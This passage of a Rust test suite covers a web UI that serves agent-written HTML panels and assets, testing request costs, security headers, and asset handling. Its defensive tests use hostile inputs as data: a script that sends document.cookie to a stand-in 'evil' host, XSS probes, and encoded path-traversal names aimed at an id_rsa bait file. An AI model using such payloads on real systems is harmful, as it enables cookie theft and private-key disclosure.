11090 repos[i % 2].to_str().unwrap(),
11091 );
11092 }
11093 for i in fx.talks().list().len()..items {
11094 let id = seed_talk(fx, &format!("20261002-000000-{i:04x}"), "open");
11095 let mut talk = fx.talks().get(&id).unwrap();
11096 talk.repo = repos[i % 2].clone();
11097 fx.talks().put(&mut talk).unwrap();
11098 let mut task = crate::queue::Task::new(
11099 format!("task {i}"),
11100 "instruction".into(),
11101 repos[i % 2].clone(),
11102 crate::queue::Source::Agent {
11103 run: id,
11104 node: crate::queue::CHAT_NODE.into(),
11105 },
11106 );
11107 task.id = format!("20261004-000000-{i:04x}");
11108 fx.queue().put(&mut task).unwrap();
11109 if i < crate::notices::CAP {
11111 Notices::at(fx.home.path().join("notifications"))
11112 .raise(Notice::info(&format!("notice-{i}"), "notification"))
11113 .unwrap();
11114 }
11115 }
11116 assert_eq!(fx.questions().list().len(), questions);
11117 assert_eq!(run_ids(&fx.runs()).len(), runs);
11118 assert_eq!(fx.talks().list().len(), items);
11119 assert_eq!(fx.queue().list().len(), items);
11120 assert_eq!(
11121 Notices::at(fx.home.path().join("notifications"))
11122 .list()
11123 .len(),
11124 items.min(crate::notices::CAP)
11125 );
11126 }
11127
11128 fn request_counts(res: &Res) -> (usize, usize) {
11129 assert_eq!(res.status, 200, "{}", res.body);
11130 (
11131 res.header("x-test-discoveries").unwrap().parse().unwrap(),
11132 res.header("x-test-git").unwrap().parse().unwrap(),
11133 )
11134 }
11135
11136 #[tokio::test]
11137 async fn list_request_cost_is_independent_of_record_count() {
11138 let (_tmp, repos, fx) = performance_fixture().await;
11139 let mut previous = None;
11140 for n in [4, 60] {
11141 seed_performance(&fx, &repos, n, n, n);
11142 let mut costs = Vec::new();
11143 for (path, discoveries) in [
11144 ("/api/questions", 1),
11145 ("/api/talks", 0),
11146 ("/api/health", 0),
11147 ("/api/stats", 1),
11148 ] {
11149 for repo in &repos {
11152 let cache = repo.join(".git/magi/config");
11153 if cache.exists() {
11154 std::fs::remove_dir_all(cache).unwrap();
11155 }
11156 }
11157 let cost = request_counts(&fx.get(path).await);
11158 eprintln!("{path} N={n}: discoveries={} git={}", cost.0, cost.1);
11159 assert_eq!(cost.0, discoveries, "{path}, N={n}");
11160 assert!(
11161 cost.1 <= 40 && (discoveries == 0 || cost.1 > 0),
11162 "{path}: {cost:?}"
11163 );
11164 costs.push(cost);
11165 }
11166 if let Some(previous) = previous {
11167 assert_eq!(costs, previous);
11168 }
11169 previous = Some(costs);
11170 }
11171 }
11175
11176 #[tokio::test]
11179 async fn list_handler_cost_without_transport() {
11180 let (_tmp, repos) = performance_repositories().await;
11181 let fx = Fixture {
11182 home: TempDir::new().unwrap(),
11183 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
11184 };
11185 let ui = Arc::new(
11186 Ui::new(
11187 fx.queue(),
11188 fx.questions(),
11189 fx.talks(),
11190 fx.runs(),
11191 fx.home.path().to_path_buf(),
11192 repos[0].clone(),
11193 )
11194 .with_worktrees_root(fx.home.path().join("wt")),
11195 );
11196 let mut previous = None;
11197 for (n, runs, items) in [(4, 4, 4), (60, 60, 60), (200, 300, 400)] {
11198 seed_performance(&fx, &repos, n, runs, items);
11199 let mut costs = Vec::new();
11200 for endpoint in ["questions", "talks", "health", "stats"] {
11201 for repo in &repos {
11202 let cache = repo.join(".git/magi/config");
11203 if cache.exists() {
11204 std::fs::remove_dir_all(cache).unwrap();
11205 }
11206 }
11207 let (_, cost) = request_cost::measure(async {
11208 match endpoint {
11209 "questions" => {
11210 let _ = questions_list(State(ui.clone())).await.unwrap();
11211 }
11212 "talks" => {
11213 let _ = talks_list(
11214 State(ui.clone()),
11215 Query(ListQuery {
11216 limit: None,
11217 ids: None,
11218 }),
11219 header::HeaderMap::new(),
11220 )
11221 .await
11222 .unwrap();
11223 }
11224 "health" => {
11225 let _ = health(State(ui.clone())).await.unwrap();
11226 }
11227 _ => {
11228 let _ = stats_get(State(ui.clone()), Query(StatsQuery::default()))
11229 .await
11230 .unwrap();
11231 }
11232 }
11233 })
11234 .await;
11235 eprintln!("{endpoint} handler N={n}: {cost:?}");
11236 assert_eq!(
11237 cost.0,
11238 if matches!(endpoint, "talks" | "health") {
11239 0
11240 } else {
11241 1
11242 },
11243 "{endpoint}"
11244 );
11245 assert!(
11246 cost.1 <= 40 && (matches!(endpoint, "talks" | "health") || cost.1 > 0),
11247 "{endpoint}: {cost:?}"
11248 );
11249 costs.push(cost);
11250 }
11251 if let Some(previous) = previous {
11252 assert_eq!(costs, previous);
11253 }
11254 previous = Some(costs);
11255 }
11256 }
11257
11258 #[tokio::test]
11259 async fn list_request_cost_scopes_do_not_mix() {
11260 let (_tmp, repos, fx) = performance_fixture().await;
11261 seed_performance(&fx, &repos, 10, 0, 10);
11262 let (questions, talks, notices) = tokio::join!(
11263 fx.get("/api/questions"),
11264 fx.get("/api/talks"),
11265 fx.get("/api/notifications")
11266 );
11267 assert_eq!(request_counts(&questions).0, 1);
11268 assert_eq!(request_counts(&talks), (0, 0));
11271 assert_eq!(request_counts(¬ices), (0, 0));
11272 }
11273
11274 #[tokio::test]
11275 async fn list_endpoints_large_home_responses() {
11276 check_large_home_endpoints(false).await;
11277 }
11278
11279 #[tokio::test]
11280 #[ignore = "local wall-clock performance measurement; see docs/web-responsiveness.md"]
11281 async fn list_endpoints_large_home_ceiling() {
11282 check_large_home_endpoints(true).await;
11283 }
11284
11285 async fn check_large_home_endpoints(timed: bool) {
11286 let (_tmp, repos, fx) = performance_fixture().await;
11287 seed_performance(&fx, &repos, 200, 300, 400);
11288 let mut failures = Vec::new();
11289 for path in [
11292 "/",
11293 "/app.js",
11294 "/app.css",
11295 "/api/questions",
11296 "/api/runs?limit=300",
11297 "/api/queue",
11298 "/api/talks",
11299 "/api/notifications",
11300 "/api/health",
11301 "/api/stats",
11302 "/api/loop",
11303 "/api/settings",
11304 "/api/repos",
11305 ] {
11306 let start = std::time::Instant::now();
11307 let result = if timed {
11308 tokio::time::timeout(Duration::from_secs(5), fx.get(path)).await
11309 } else {
11310 Ok(fx.get(path).await)
11311 };
11312 let elapsed = start.elapsed();
11313 eprintln!("{path}: {elapsed:?}");
11314 match result {
11315 Ok(res) if res.status == 200 && (!timed || elapsed <= Duration::from_secs(5)) => {}
11316 Ok(res) => failures.push(format!("{path}: status {}, {elapsed:?}", res.status)),
11317 Err(_) => failures.push(format!("{path}: exceeded 5 seconds ({elapsed:?})")),
11318 }
11319 }
11320 assert!(failures.is_empty(), "{}", failures.join("\n"));
11321 }
11322
11323 struct Res {
11324 status: u16,
11325 headers: String,
11326 head: String,
11331 body: String,
11332 bytes: Vec<u8>,
11336 }
11337
11338 impl Res {
11339 fn json(&self) -> Value {
11340 serde_json::from_str(&self.body)
11341 .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
11342 }
11343
11344 fn header(&self, name: &str) -> Option<&str> {
11346 self.head.lines().find_map(|line| {
11347 let (key, value) = line.split_once(':')?;
11348 key.trim()
11349 .eq_ignore_ascii_case(name)
11350 .then(|| value.trim_start().trim_end_matches('\r'))
11351 })
11352 }
11353 }
11354
11355 async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
11358 request_with(addr, method, path, body, &[]).await
11359 }
11360
11361 async fn request_with(
11365 addr: SocketAddr,
11366 method: &str,
11367 path: &str,
11368 body: Option<&str>,
11369 extra: &[(&str, &str)],
11370 ) -> Res {
11371 let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
11372 for (name, value) in extra {
11373 head.push_str(&format!("{name}: {value}\r\n"));
11374 }
11375 if let Some(body) = body {
11376 head.push_str("Content-Type: application/json\r\n");
11377 head.push_str(&format!("Content-Length: {}\r\n", body.len()));
11378 }
11379 head.push_str("\r\n");
11380 if let Some(body) = body {
11381 head.push_str(body);
11382 }
11383 let mut socket = tokio::net::TcpStream::connect(addr)
11384 .await
11385 .expect("connect to the test server");
11386 socket
11387 .write_all(head.as_bytes())
11388 .await
11389 .expect("write request");
11390 let mut raw = Vec::new();
11391 socket.read_to_end(&mut raw).await.expect("read response");
11392 let split = raw
11395 .windows(4)
11396 .position(|w| w == b"\r\n\r\n")
11397 .expect("a header block");
11398 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
11399 let bytes = raw[split + 4..].to_vec();
11400 let status = head
11401 .lines()
11402 .next()
11403 .and_then(|line| line.split_whitespace().nth(1))
11404 .and_then(|code| code.parse().ok())
11405 .expect("a status line");
11406 Res {
11407 status,
11408 headers: head.to_lowercase(),
11409 head,
11410 body: String::from_utf8_lossy(&bytes).into_owned(),
11411 bytes,
11412 }
11413 }
11414
11415 async fn request_bytes(
11421 addr: SocketAddr,
11422 path: &str,
11423 headers: &[(&str, &str)],
11424 body: &[u8],
11425 ) -> Res {
11426 let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
11427 for (name, value) in headers {
11428 head.push_str(&format!("{name}: {value}\r\n"));
11429 }
11430 head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
11431 let mut socket = tokio::net::TcpStream::connect(addr)
11432 .await
11433 .expect("connect to the test server");
11434 socket
11435 .write_all(head.as_bytes())
11436 .await
11437 .expect("write request head");
11438 socket.write_all(body).await.expect("write request body");
11439 let mut raw = Vec::new();
11440 socket.read_to_end(&mut raw).await.expect("read response");
11441 let split = raw
11442 .windows(4)
11443 .position(|w| w == b"\r\n\r\n")
11444 .expect("a header block");
11445 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
11446 let bytes = raw[split + 4..].to_vec();
11447 let status = head
11448 .lines()
11449 .next()
11450 .and_then(|line| line.split_whitespace().nth(1))
11451 .and_then(|code| code.parse().ok())
11452 .expect("a status line");
11453 Res {
11454 status,
11455 headers: head.to_lowercase(),
11456 head,
11457 body: String::from_utf8_lossy(&bytes).into_owned(),
11458 bytes,
11459 }
11460 }
11461
11462 fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
11464 let mut state = RunState::new(
11465 PathBuf::from("/repo/magi"),
11466 "main".to_owned(),
11467 "0123456789abcdef".to_owned(),
11468 "Add a web UI\n\nMobile first.".to_owned(),
11469 Config::default(),
11470 );
11471 state.id = id.to_owned();
11472 state.status = status;
11473 let dir = runs.join(id);
11474 std::fs::create_dir_all(&dir).expect("run dir");
11475 std::fs::write(
11476 dir.join("run.json"),
11477 serde_json::to_string_pretty(&state).expect("serialize run"),
11478 )
11479 .expect("write run.json");
11480 }
11481
11482 fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
11486 let mut state = RunState::new(
11487 PathBuf::from(repo),
11488 "main".to_owned(),
11489 "0123456789abcdef".to_owned(),
11490 "task".to_owned(),
11491 Config::default(),
11492 );
11493 state.id = id.to_owned();
11494 state.status = status;
11495 let dir = runs.join(id);
11496 std::fs::create_dir_all(&dir).expect("run dir");
11497 std::fs::write(
11498 dir.join("run.json"),
11499 serde_json::to_string_pretty(&state).expect("serialize run"),
11500 )
11501 .expect("write run.json");
11502 }
11503
11504 fn write_daemon(home: &FsPath, updated_at: Timestamp) {
11505 let body = serde_json::json!({
11506 "schema": 1,
11507 "pid": 4242,
11508 "started_at": Timestamp::now().to_string(),
11509 "updated_at": updated_at.to_string(),
11510 "idle": false,
11511 "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
11512 "completed": 7,
11513 "polls": 143,
11514 });
11515 std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
11516 }
11517
11518 fn launch_idle(
11528 _opts: daemon::Opts,
11529 stop: daemon::Stop,
11530 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
11531 Box::pin(async move {
11532 while !stop.stopped() {
11533 tokio::time::sleep(Duration::from_millis(2)).await;
11534 }
11535 Ok(())
11536 })
11537 }
11538
11539 fn launch_broken(
11542 _opts: daemon::Opts,
11543 _stop: daemon::Stop,
11544 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
11545 static CALLS: std::sync::atomic::AtomicUsize = std::sync::atomic::AtomicUsize::new(0);
11550 let first = CALLS.fetch_add(1, std::sync::atomic::Ordering::SeqCst) == 0;
11551 Box::pin(async move {
11552 Err(anyhow::anyhow!(if first {
11553 "publish the daemon status file: read-only file system"
11554 } else {
11555 "the restarted stand-in failed as well"
11556 }))
11557 })
11558 }
11559
11560 async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
11569 for _ in 0..SETTLE_STEPS {
11570 let view = fx.get("/api/loop").await.json();
11571 if want(&view) {
11572 return view;
11573 }
11574 tokio::time::sleep(Duration::from_millis(10)).await;
11575 }
11576 panic!(
11577 "the loop never settled: {}",
11578 fx.get("/api/loop").await.json()
11579 );
11580 }
11581
11582 fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
11584 let store = fx.questions();
11585 let mut q = Question::new(
11586 "20260902-000000-beef".to_owned(),
11587 "implement".to_owned(),
11588 "impl-A".to_owned(),
11589 summary.to_owned(),
11590 "because it matters".to_owned(),
11591 choices.iter().map(|c| (*c).to_owned()).collect(),
11592 );
11593 store.put(&mut q).expect("put question");
11594 q.id
11595 }
11596
11597 fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
11603 let store = fx.questions();
11604 let mut q = Question::new(
11605 "20260902-000000-beef".to_owned(),
11606 "land".to_owned(),
11607 "fix".to_owned(),
11608 "Merge this?".to_owned(),
11609 "the diff is in the panel".to_owned(),
11610 vec!["merge".to_owned(), "hold".to_owned()],
11611 );
11612 let staging = fx.home.path().join("staging");
11615 std::fs::create_dir_all(&staging).expect("staging dir");
11616 let sources: Vec<PathBuf> = assets
11617 .iter()
11618 .map(|(name, bytes)| {
11619 let path = staging.join(name);
11620 std::fs::write(&path, bytes).expect("write staged asset");
11621 path
11622 })
11623 .collect();
11624 store
11625 .put_panel(&mut q, html, &sources)
11626 .expect("write the panel");
11627 store.put(&mut q).expect("put question");
11628 q.id
11629 }
11630
11631 fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
11640 seed_talk_at(&fx.talks(), id, status)
11641 }
11642
11643 fn seed_talk_at(store: &Talks, id: &str, status: &str) -> String {
11644 std::fs::create_dir_all(store.root()).expect("talks dir");
11645 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
11646 .expect("serialize a seat");
11647 let body = serde_json::json!({
11648 "schema": 1,
11649 "id": id,
11650 "repo": "/repo/magi",
11651 "agent": "mock",
11652 "status": status,
11653 "turns": [],
11654 "created_at": Timestamp::now().to_string(),
11655 "updated_at": Timestamp::now().to_string(),
11656 "seat": seat,
11657 });
11658 std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
11659 store.get(id).expect("the seeded talk has to be readable");
11660 id.to_owned()
11661 }
11662
11663 #[tokio::test]
11664 async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
11665 let fx = Fixture::start().await;
11666 let id = panel(
11667 &fx,
11668 "<h1>Merge?</h1><img src=\"diff.svg\">",
11669 &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
11670 );
11671
11672 for path in [
11673 format!("/api/questions/{id}/panel"),
11674 format!("/api/questions/{id}/asset/diff.svg"),
11675 ] {
11676 let res = fx.get(&path).await;
11677 assert_eq!(res.status, 200, "{path}: {}", res.body);
11678 assert_eq!(
11684 res.header("content-security-policy"),
11685 Some(
11686 "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
11687 font-src data:; base-uri 'none'; form-action 'none'; \
11688 frame-ancestors 'self'"
11689 ),
11690 "{path} is the only thing between a hostile panel and the tailnet"
11691 );
11692 assert_eq!(
11693 res.header("x-content-type-options"),
11694 Some("nosniff"),
11695 "{path}: a browser must not re-decide the type we sent"
11696 );
11697 assert_eq!(
11698 res.header("referrer-policy"),
11699 Some("no-referrer"),
11700 "{path}: a panel must not leak the question id off the machine"
11701 );
11702
11703 let pre = fx.head(&path).await;
11708 assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
11709 assert_eq!(
11710 pre.header("content-security-policy"),
11711 res.header("content-security-policy"),
11712 "{path}: the preflight carries the same policy"
11713 );
11714 assert_eq!(
11715 pre.header("content-type"),
11716 res.header("content-type"),
11717 "{path}: the preflight carries the same type"
11718 );
11719 }
11720 }
11721
11722 #[tokio::test]
11723 async fn a_panel_reaches_the_browser_byte_for_byte() {
11724 let fx = Fixture::start().await;
11725 let html = "<h1>Merge?</h1><p>a < b — 変更</p><script>alert(1)</script>";
11730 let id = panel(&fx, html, &[]);
11731
11732 let res = fx.get(&format!("/api/questions/{id}/panel")).await;
11733
11734 assert_eq!(res.status, 200);
11735 assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
11736 assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
11737 assert_eq!(
11738 res.header("content-disposition"),
11739 None,
11740 "the panel itself is rendered in the frame, not downloaded"
11741 );
11742 }
11743
11744 #[tokio::test]
11745 async fn an_svg_asset_is_a_download_and_a_png_is_not() {
11746 let fx = Fixture::start().await;
11747 let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
11748 let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
11749 let id = panel(
11750 &fx,
11751 "<img src=\"diff.svg\"><img src=\"shot.png\">",
11752 &[("diff.svg", svg), ("shot.png", png)],
11753 );
11754
11755 let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
11756 let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
11757
11758 assert_eq!(as_svg.status, 200);
11759 assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
11760 assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
11765
11766 assert_eq!(as_png.status, 200);
11767 assert_eq!(as_png.header("content-type"), Some("image/png"));
11768 assert_eq!(
11769 as_png.header("content-disposition"),
11770 None,
11771 "a raster image has no execution surface, so tapping it still shows it"
11772 );
11773 assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
11774 }
11775
11776 #[tokio::test]
11777 async fn an_html_asset_is_never_served_as_html() {
11778 let fx = Fixture::start().await;
11779 let id = panel(
11780 &fx,
11781 "<p>see the notes</p>",
11782 &[
11783 (
11784 "notes.html",
11785 b"<script>fetch('http://evil/'+document.cookie)</script>",
11786 ),
11787 ("hook.js", b"fetch('http://evil/')"),
11788 ("data.json", b"{}"),
11789 ("HEADLINE.TXT", b"plain"),
11790 ],
11791 );
11792
11793 for name in ["notes.html", "hook.js", "data.json"] {
11794 let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
11795 assert_eq!(res.status, 200, "{name}: {}", res.body);
11796 assert_eq!(
11801 res.header("content-type"),
11802 Some("application/octet-stream"),
11803 "{name} must not be a type the browser will execute or render"
11804 );
11805 }
11806 let txt = fx
11809 .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
11810 .await;
11811 assert_eq!(
11812 txt.header("content-type"),
11813 Some("text/plain; charset=utf-8")
11814 );
11815 }
11816
11817 #[tokio::test]
11818 async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
11819 let fx = Fixture::start().await;
11820 let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
11821 std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
11825
11826 for encoded in [
11833 "%2e%2e%2fid_rsa",
11834 "..%2fid_rsa",
11835 "..%5cid_rsa",
11836 "%2e%2e%5cid_rsa",
11837 "diff%00.svg",
11838 "..",
11839 ".hidden",
11840 "%2e%2e%2f%2e%2e%2fid_rsa",
11841 ] {
11842 let res = fx
11843 .get(&format!("/api/questions/{id}/asset/{encoded}"))
11844 .await;
11845 assert_eq!(
11846 res.status, 400,
11847 "`{encoded}` has to be refused by name, not looked up: {}",
11848 res.body
11849 );
11850 assert!(res.json()["error"].is_string(), "{}", res.body);
11851 }
11852
11853 for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
11859 let res = fx
11860 .get(&format!("/api/questions/{id}/asset/{literal}"))
11861 .await;
11862 assert_eq!(
11863 res.status, 404,
11864 "`{literal}` must not match the asset route at all: {}",
11865 res.body
11866 );
11867 }
11868 }
11869
11870 #[tokio::test]
11871 async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
11872 let fx = Fixture::start().await;
11873 let plain = ask(&fx, "Which backend?", &["SQLite"]);
11874 let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
11875
11876 let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
11880 assert_eq!(none.status, 404, "{}", none.body);
11881 assert!(none.json()["error"].is_string(), "{}", none.body);
11882 assert_eq!(
11883 fx.head(&format!("/api/questions/{plain}/panel"))
11884 .await
11885 .status,
11886 404,
11887 "the preflight is the only way the client can learn this"
11888 );
11889
11890 let missing = fx
11892 .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
11893 .await;
11894 assert_eq!(missing.status, 404, "{}", missing.body);
11895 assert!(missing.json()["error"].is_string(), "{}", missing.body);
11896
11897 assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
11899 assert_eq!(
11900 fx.get("/api/questions/nope/asset/diff.svg").await.status,
11901 404
11902 );
11903 }
11904
11905 #[tokio::test]
11906 async fn a_run_with_an_open_question_reads_as_waiting() {
11907 let fx = Fixture::start().await;
11908 let run = "20260902-000000-beef".to_owned();
11909 write_run(&fx.runs(), &run, RunStatus::Implementing);
11910
11911 let before = fx.get("/api/runs").await.json();
11912 assert_eq!(before[0]["waiting"], false, "{before}");
11913
11914 let store = fx.questions();
11915 let mut q = Question::new(
11916 run.clone(),
11917 "implement".to_owned(),
11918 "impl-A".to_owned(),
11919 "Which backend?".to_owned(),
11920 String::new(),
11921 vec!["SQLite".to_owned()],
11922 );
11923 store.put(&mut q).expect("put");
11924
11925 let during = fx.get("/api/runs").await.json();
11926 assert_eq!(during[0]["waiting"], true, "{during}");
11927
11928 q.answer(Answer::Choice("SQLite".to_owned()))
11931 .expect("answer");
11932 store.put(&mut q).expect("put");
11933 let after = fx.get("/api/runs").await.json();
11934 assert_eq!(after[0]["waiting"], false, "{after}");
11935 }
11936
11937 #[tokio::test]
11938 async fn an_open_question_is_listed_and_counted_by_health() {
11939 let fx = Fixture::start().await;
11940 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
11941
11942 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11943 let listed = fx.get("/api/questions").await.json();
11944 assert_eq!(listed.as_array().expect("array").len(), 1);
11945 assert_eq!(listed[0]["id"], id);
11946 assert_eq!(listed[0]["status"], "open");
11947 assert_eq!(listed[0]["choices"][1], "Redis");
11948 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
11951 }
11952
11953 fn obsolete_approval_state() -> RunState {
11954 let mut state = crate::land::tests::repair_state(true, true);
11955 state.pr = Some(crate::run::PrRecord {
11956 url: "https://github.com/example/repo/pull/42".into(),
11957 number: 42,
11958 state: "open".into(),
11959 checks: "green".into(),
11960 round: 1,
11961 rounds: 4,
11962 red_at_merge: Vec::new(),
11963 });
11964 state
11965 }
11966
11967 #[tokio::test]
11968 async fn obsolete_approval_answer_handler_persists_retirement_for_each_owner_shape() {
11969 for owner in ["missing", "current", "completed", "later"] {
11970 let fx = Fixture {
11971 home: TempDir::new().unwrap(),
11972 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
11973 };
11974 let mut state = obsolete_approval_state();
11975 state.status = RunStatus::Landing;
11976 state.parked = true;
11977 state.driver_exited = true;
11978 let mut q = Question::new(
11979 state.id.clone(),
11980 crate::land::APPROVAL_NODE.into(),
11981 "land".into(),
11982 "Old approval".into(),
11983 "Original evidence".into(),
11984 vec!["merge".into(), "hold".into()],
11985 );
11986 state.land_approval = Some(crate::run::LandApproval {
11987 question: q.id.clone(),
11988 head: "head".into(),
11989 });
11990 state.save_under(fx.home.path()).unwrap();
11991 let stale = state.clone();
11992 fx.questions().put(&mut q).unwrap();
11993 let mut task = Task::new(
11994 "Owner".into(),
11995 "Original instruction".into(),
11996 state.repo.clone(),
11997 Source::Human,
11998 );
11999 task.runs.push(state.id.clone());
12000 task.status = if owner == "completed" {
12001 TaskStatus::Done
12002 } else {
12003 TaskStatus::Parked
12004 };
12005 if owner == "later" {
12006 task.runs.push("later-run".into());
12007 }
12008 if owner != "missing" {
12009 fx.queue().put(&mut task).unwrap();
12010 }
12011 let ui = Arc::new(Ui::new(
12012 fx.queue(),
12013 fx.questions(),
12014 fx.talks(),
12015 fx.runs(),
12016 fx.home.path().into(),
12017 state.repo.clone(),
12018 ));
12019 let response = question_answer(
12020 State(ui),
12021 Path(q.id.clone()),
12022 Ok(Json(NewAnswer {
12023 choice: Some(crate::merge_decision::DISMISS.into()),
12024 text: None,
12025 ..Default::default()
12026 })),
12027 )
12028 .await
12029 .unwrap();
12030 assert_eq!(
12031 response.0.question.resolution().as_deref(),
12032 Some(crate::merge_decision::DISMISS)
12033 );
12034 let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
12035 assert_eq!(disk.status, RunStatus::Superseded);
12036 assert!(crate::pr_head::ensure_owner_record(&stale, Some(&disk)).is_err());
12037 assert!(!crate::merge_decision::resumable_hold(&disk));
12038 assert_eq!(
12039 serde_json::to_value(&disk.pr).unwrap(),
12040 serde_json::to_value(&stale.pr).unwrap()
12041 );
12042 assert_eq!(fx.questions().count_open(), 0);
12043 assert!(fx.questions().get(&q.id).unwrap().chosen_action().is_none());
12044 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12045 if owner == "missing" {
12046 assert!(fx.queue().list().is_empty());
12047 } else {
12048 let after = fx.queue().get(&task.id).unwrap();
12049 assert_eq!(
12050 after.status,
12051 if owner == "current" {
12052 TaskStatus::Done
12053 } else {
12054 task.status
12055 }
12056 );
12057 assert_eq!(after.runs, task.runs);
12058 assert_eq!(after.instruction, task.instruction);
12059 assert_eq!(after.action_applied(&q.id), owner == "current");
12060 }
12061 }
12062 }
12063
12064 #[tokio::test]
12065 async fn obsolete_legacy_approval_dismissal_survives_http_reconnect_without_an_owner() {
12066 let fx = Fixture::start().await;
12067 let mut state = obsolete_approval_state();
12068 state.status = RunStatus::Landing;
12069 state.parked = true;
12070 state.driver_exited = true;
12071 let mut q = Question::new(
12072 state.id.clone(),
12073 crate::land::APPROVAL_NODE.into(),
12074 "land".into(),
12075 "Superseded PR approval".into(),
12076 "Original review evidence".into(),
12077 vec!["merge".into(), "hold".into()],
12078 );
12079 state.land_approval = Some(crate::run::LandApproval {
12080 question: q.id.clone(),
12081 head: "old-reviewed-head".into(),
12082 });
12083 state.save_under(fx.home.path()).unwrap();
12086 let stale_driver = state.clone();
12087 fx.questions().put(&mut q).unwrap();
12088 let path = fx
12089 .home
12090 .path()
12091 .join("questions")
12092 .join(format!("{}.json", q.id));
12093 let mut legacy = serde_json::to_value(&q).unwrap();
12094 legacy["schema"] = 9.into();
12095 legacy.as_object_mut().unwrap().remove("merge_target");
12096 std::fs::write(&path, serde_json::to_vec(&legacy).unwrap()).unwrap();
12097
12098 let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
12101 let answer_path = format!("/api/questions/{}/answer", q.id);
12102 let res = fx.post(&answer_path, Some(&body)).await;
12103 assert_eq!(res.status, 200, "{}", res.body);
12104 let disk = fx.questions().get(&q.id).unwrap();
12105 assert_eq!(
12106 disk.resolution().as_deref(),
12107 Some(crate::merge_decision::DISMISS)
12108 );
12109 assert!(disk.detail.starts_with("Original review evidence"));
12110 let retired = RunState::load_under(&state.id, fx.home.path()).unwrap();
12111 assert_eq!(retired.status, RunStatus::Superseded);
12112 assert_eq!(
12113 serde_json::to_value(&retired.pr).unwrap(),
12114 serde_json::to_value(&state.pr).unwrap()
12115 );
12116 assert!(!retired.merge_decision.as_ref().unwrap().closed);
12117 assert!(!crate::merge_decision::resumable_hold(&retired));
12118 assert!(fx.queue().list().is_empty());
12119 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12120 let addr = Fixture::serve(
12122 fx.home.path(),
12123 PathBuf::from("/repo/magi"),
12124 launch_idle,
12125 None,
12126 )
12127 .await;
12128 let reconnected = Fixture {
12129 home: fx.home,
12130 addr,
12131 };
12132 let listed = reconnected.get("/api/questions").await.json();
12133 assert!(
12134 listed
12135 .as_array()
12136 .unwrap()
12137 .iter()
12138 .all(|q| q["status"] != "open")
12139 );
12140 assert_eq!(listed[0]["id"], q.id, "history remains available");
12141 assert_eq!(
12142 reconnected.get("/api/health").await.json()["questions_open"],
12143 0
12144 );
12145 assert_eq!(
12146 reconnected
12147 .post(&answer_path, Some(r#"{"choice":"merge"}"#))
12148 .await
12149 .status,
12150 409
12151 );
12152 assert!(
12154 reconnected
12155 .questions()
12156 .update(&q.id, |q| q.answer(Answer::Choice("hold".into())))
12157 .is_err()
12158 );
12159 assert!(crate::pr_head::ensure_owner_record(&stale_driver, Some(&retired)).is_err());
12162 }
12163
12164 #[tokio::test]
12165 async fn obsolete_approval_dismissal_respects_claims_and_later_attempts() {
12166 let fx = Fixture::start().await;
12167 let mut state = obsolete_approval_state();
12168 state.status = RunStatus::Landing;
12169 state.driver_exited = true;
12170 let mut q = Question::new(
12171 state.id.clone(),
12172 crate::land::APPROVAL_NODE.into(),
12173 "land".into(),
12174 "Obsolete approval".into(),
12175 String::new(),
12176 vec!["merge".into(), "hold".into()],
12177 );
12178 state.land_approval = Some(crate::run::LandApproval {
12179 question: q.id.clone(),
12180 head: "head".into(),
12181 });
12182 state.save_under(fx.home.path()).unwrap();
